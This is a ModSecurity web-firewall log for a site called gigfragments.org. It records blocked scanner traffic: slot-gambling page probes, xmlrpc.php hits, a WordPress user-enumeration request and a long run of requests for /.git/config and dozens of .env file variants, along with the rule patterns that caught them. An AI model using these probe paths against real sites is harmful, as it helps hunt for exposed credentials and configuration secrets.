[Sun May 17 14:25:39.147806 2026] [:error] [pid 10784:tid 10819] [client 51.77.216.81:50424] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aglfY2BWRlKsFkSZGxAwGAAAAZM"]
[Sun May 17 14:25:40.420877 2026] [:error] [pid 59060:tid 59082] [client 51.77.216.81:50440] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aglfZPvwvq3bndkPE4ngDgAAAA0"]
[Sun May 17 14:26:00.592378 2026] [:error] [pid 59166:tid 59175] [client 51.77.216.81:50456] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aglfeE_puQ1I47_0UrjeJAAAAMc"]
[Sun May 17 14:26:01.758158 2026] [:error] [pid 59060:tid 59075] [client 51.77.216.81:50466] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aglfefvwvq3bndkPE4ngGQAAAAY"]
[Sun May 17 14:26:03.233686 2026] [:error] [pid 10784:tid 10810] [client 51.77.216.81:59642] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aglfe2BWRlKsFkSZGxAwHAAAAYs"]
[Sun May 17 14:26:03.788056 2026] [:error] [pid 11079:tid 11119] [client 51.77.216.81:59644] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aglfe2eR3-DrxhvUqxGqIAAAAk8"]
[Sun May 17 14:26:05.528267 2026] [:error] [pid 10835:tid 10878] [client 51.77.216.81:59652] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aglffUk8lW0-dtknLl_55QAAAgU"]
[Sun May 17 14:26:05.778758 2026] [:error] [pid 10835:tid 10876] [client 51.77.216.81:59658] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aglffUk8lW0-dtknLl_55gAAAgM"]
[Sun May 17 14:26:07.600664 2026] [:error] [pid 10835:tid 10894] [client 51.77.216.81:59672] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aglff0k8lW0-dtknLl_56AAAAhU"]
[Sun May 17 14:26:08.148474 2026] [:error] [pid 59061:tid 59120] [client 51.77.216.81:59682] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aglfgIYS410zAmsYkoIXNwAAAFg"]
[Sun May 17 14:26:09.992937 2026] [:error] [pid 59061:tid 59098] [client 51.77.216.81:55662] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aglfgYYS410zAmsYkoIXOQAAAEI"]
[Sun May 17 14:26:10.282704 2026] [:error] [pid 59061:tid 59114] [client 51.77.216.81:55676] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aglfgoYS410zAmsYkoIXOgAAAFI"]
[Sun May 17 14:26:12.295294 2026] [:error] [pid 10835:tid 10892] [client 51.77.216.81:55692] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aglfhEk8lW0-dtknLl_56wAAAhM"]
[Sun May 17 14:26:14.553948 2026] [:error] [pid 59166:tid 59173] [client 51.77.216.81:55696] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aglfhk_puQ1I47_0UrjeKwAAAMU"]
[Sun May 17 14:26:16.549395 2026] [:error] [pid 10835:tid 10883] [client 51.77.216.81:55704] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aglfiEk8lW0-dtknLl_58AAAAgo"]
[Sun May 17 14:30:26.257681 2026] [:error] [pid 10834:tid 10849] [client 49.43.132.120:63097] [client 49.43.132.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.132.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aglgghISNQ_Nf83-VpqL1wAAAcM"]
[Sun May 17 14:33:26.291791 2026] [:error] [pid 10834:tid 10870] [client 49.43.132.120:65111] [client 49.43.132.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aglhNhISNQ_Nf83-VpqMTQAAAdg"]
[Sun May 17 14:34:04.566224 2026] [:error] [pid 11079:tid 11126] [client 49.43.132.120:65491] [client 49.43.132.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.132.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aglhXGeR3-DrxhvUqxGrvwAAAlY"]
[Sun May 17 14:34:35.170078 2026] [:error] [pid 10835:tid 10894] [client 49.43.132.120:49518] [client 49.43.132.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.132.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aglhe0k8lW0-dtknLl_7EQAAAhU"]
[Sun May 17 14:35:06.681424 2026] [:error] [pid 36652:tid 36655] [client 49.43.132.120:49914] [client 49.43.132.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.132.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aglhmjZrzQadnZADvj9MyQAAAQE"]
[Sun May 17 14:35:38.457672 2026] [:error] [pid 11079:tid 11126] [client 49.43.132.120:50404] [client 49.43.132.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.132.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aglhumeR3-DrxhvUqxGsBAAAAlY"]
[Sun May 17 16:21:58.392022 2026] [:error] [pid 10835:tid 10890] [client 43.166.242.189:48004] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agl6pkk8lW0-dtknLl8IuwAAAhE"]
[Sun May 17 16:55:41.472145 2026] [:error] [pid 59062:tid 59142] [client 8.230.119.92:55190] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agmCjT4V9GkVWmCFmGb_2AAAAJM"]
[Sun May 17 16:55:43.652351 2026] [:error] [pid 59166:tid 59169] [client 8.230.119.92:37864] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agmCj0_puQ1I47_0Urjl_AAAAME"]
[Sun May 17 16:55:44.396180 2026] [:error] [pid 10784:tid 10817] [client 8.230.119.92:37878] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "agmCkGBWRlKsFkSZGxA7MAAAAZE"]
[Sun May 17 16:55:45.143645 2026] [:error] [pid 59061:tid 59100] [client 8.230.119.92:37890] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "agmCkYYS410zAmsYkoIgTQAAAEQ"]
[Sun May 17 16:55:45.889656 2026] [:error] [pid 59166:tid 59175] [client 8.230.119.92:37906] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "agmCkU_puQ1I47_0Urjl_QAAAMc"]
[Sun May 17 16:55:46.659748 2026] [:error] [pid 17234:tid 17240] [client 8.230.119.92:37922] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "agmCktJ4QOrYRCeDR2hOLgAAAUQ"]
[Sun May 17 16:55:47.406337 2026] [:error] [pid 59062:tid 59128] [client 8.230.119.92:37924] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "agmCkz4V9GkVWmCFmGb_2wAAAIU"]
[Sun May 17 16:55:48.169833 2026] [:error] [pid 59062:tid 59124] [client 8.230.119.92:37938] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "agmClD4V9GkVWmCFmGb_3QAAAIE"]
[Sun May 17 16:55:48.918737 2026] [:error] [pid 59062:tid 59138] [client 8.230.119.92:37944] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "agmClD4V9GkVWmCFmGb_4QAAAI8"]
[Sun May 17 16:55:49.665181 2026] [:error] [pid 59062:tid 59139] [client 8.230.119.92:46410] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "agmClT4V9GkVWmCFmGb_4wAAAJA"]
[Sun May 17 16:55:50.411580 2026] [:error] [pid 11079:tid 11106] [client 8.230.119.92:46414] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "agmClmeR3-DrxhvUqxHMzgAAAkY"]
[Sun May 17 16:55:51.161377 2026] [:error] [pid 10835:tid 10895] [client 8.230.119.92:46424] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "agmCl0k8lW0-dtknLl8LywAAAhY"]
[Sun May 17 16:55:51.916012 2026] [:error] [pid 10835:tid 10890] [client 8.230.119.92:46430] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "agmCl0k8lW0-dtknLl8LzQAAAhE"]
[Sun May 17 16:55:52.657093 2026] [:error] [pid 10835:tid 10893] [client 8.230.119.92:46432] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "agmCmEk8lW0-dtknLl8LzwAAAhQ"]
[Sun May 17 16:55:53.401128 2026] [:error] [pid 59166:tid 59178] [client 8.230.119.92:46440] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "agmCmU_puQ1I47_0Urjl_wAAAMo"]
[Sun May 17 16:55:54.144476 2026] [:error] [pid 10834:tid 10853] [client 8.230.119.92:46450] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "agmCmhISNQ_Nf83-VpqZ8QAAAcc"]
[Sun May 17 16:55:54.884108 2026] [:error] [pid 59061:tid 59120] [client 8.230.119.92:46466] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.stage"] [unique_id "agmCmoYS410zAmsYkoIgUgAAAFg"]
[Sun May 17 16:55:55.624656 2026] [:error] [pid 10784:tid 10808] [client 8.230.119.92:46468] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.ci"] [unique_id "agmCm2BWRlKsFkSZGxA7NQAAAYk"]
[Sun May 17 16:55:56.375213 2026] [:error] [pid 11079:tid 11122] [client 8.230.119.92:46476] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker"] [unique_id "agmCnGeR3-DrxhvUqxHM0QAAAlI"]
[Sun May 17 16:55:57.117545 2026] [:error] [pid 11079:tid 11125] [client 8.230.119.92:46482] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.live"] [unique_id "agmCnWeR3-DrxhvUqxHM1AAAAlU"]
[Sun May 17 16:55:57.864929 2026] [:error] [pid 10835:tid 10874] [client 8.230.119.92:46486] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.preprod"] [unique_id "agmCnUk8lW0-dtknLl8L0wAAAgE"]
[Sun May 17 16:55:58.612441 2026] [:error] [pid 17234:tid 17248] [client 8.230.119.92:46490] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.uat"] [unique_id "agmCntJ4QOrYRCeDR2hONQAAAUw"]
[Sun May 17 16:55:59.361695 2026] [:error] [pid 10784:tid 10822] [client 8.230.119.92:50352] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "agmCn2BWRlKsFkSZGxA7NgAAAZY"]
[Sun May 17 16:56:00.109059 2026] [:error] [pid 59062:tid 59139] [client 8.230.119.92:50360] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.swp"] [unique_id "agmCoD4V9GkVWmCFmGb_6AAAAJA"]
[Sun May 17 16:56:00.858429 2026] [:error] [pid 59061:tid 59112] [client 8.230.119.92:50370] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "agmCoIYS410zAmsYkoIgVAAAAFA"]
[Sun May 17 16:56:01.602246 2026] [:error] [pid 10784:tid 10810] [client 8.230.119.92:50374] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "agmCoWBWRlKsFkSZGxA7NwAAAYs"]
[Sun May 17 16:56:02.345464 2026] [:error] [pid 59062:tid 59140] [client 8.230.119.92:50390] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/apps/.env"] [unique_id "agmCoj4V9GkVWmCFmGb_6QAAAJE"]
[Sun May 17 16:56:03.086480 2026] [:error] [pid 10835:tid 10888] [client 8.230.119.92:50404] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "agmCo0k8lW0-dtknLl8L1AAAAg8"]
[Sun May 17 16:56:03.838852 2026] [:error] [pid 11079:tid 11123] [client 8.230.119.92:50412] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.env"] [unique_id "agmCo2eR3-DrxhvUqxHM1gAAAlM"]
[Sun May 17 16:56:04.587633 2026] [:error] [pid 10784:tid 10802] [client 8.230.119.92:50418] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.env"] [unique_id "agmCpGBWRlKsFkSZGxA7PAAAAYM"]
[Sun May 17 16:56:05.746889 2026] [:error] [pid 59061:tid 59111] [client 8.230.119.92:50424] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.env"] [unique_id "agmCpYYS410zAmsYkoIgWgAAAE8"]
[Sun May 17 16:56:06.494791 2026] [:error] [pid 10835:tid 10885] [client 8.230.119.92:50426] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "agmCpkk8lW0-dtknLl8L2AAAAgw"]
[Sun May 17 16:56:07.237915 2026] [:error] [pid 11079:tid 11124] [client 8.230.119.92:50434] [client 8.230.119.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "agmCp2eR3-DrxhvUqxHM2AAAAlQ"]
[Sun May 17 17:15:59.063573 2026] [:error] [pid 11079:tid 11118] [client 43.153.205.132:49610] [client 43.153.205.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agmHT2eR3-DrxhvUqxHQ0AAAAk4"]
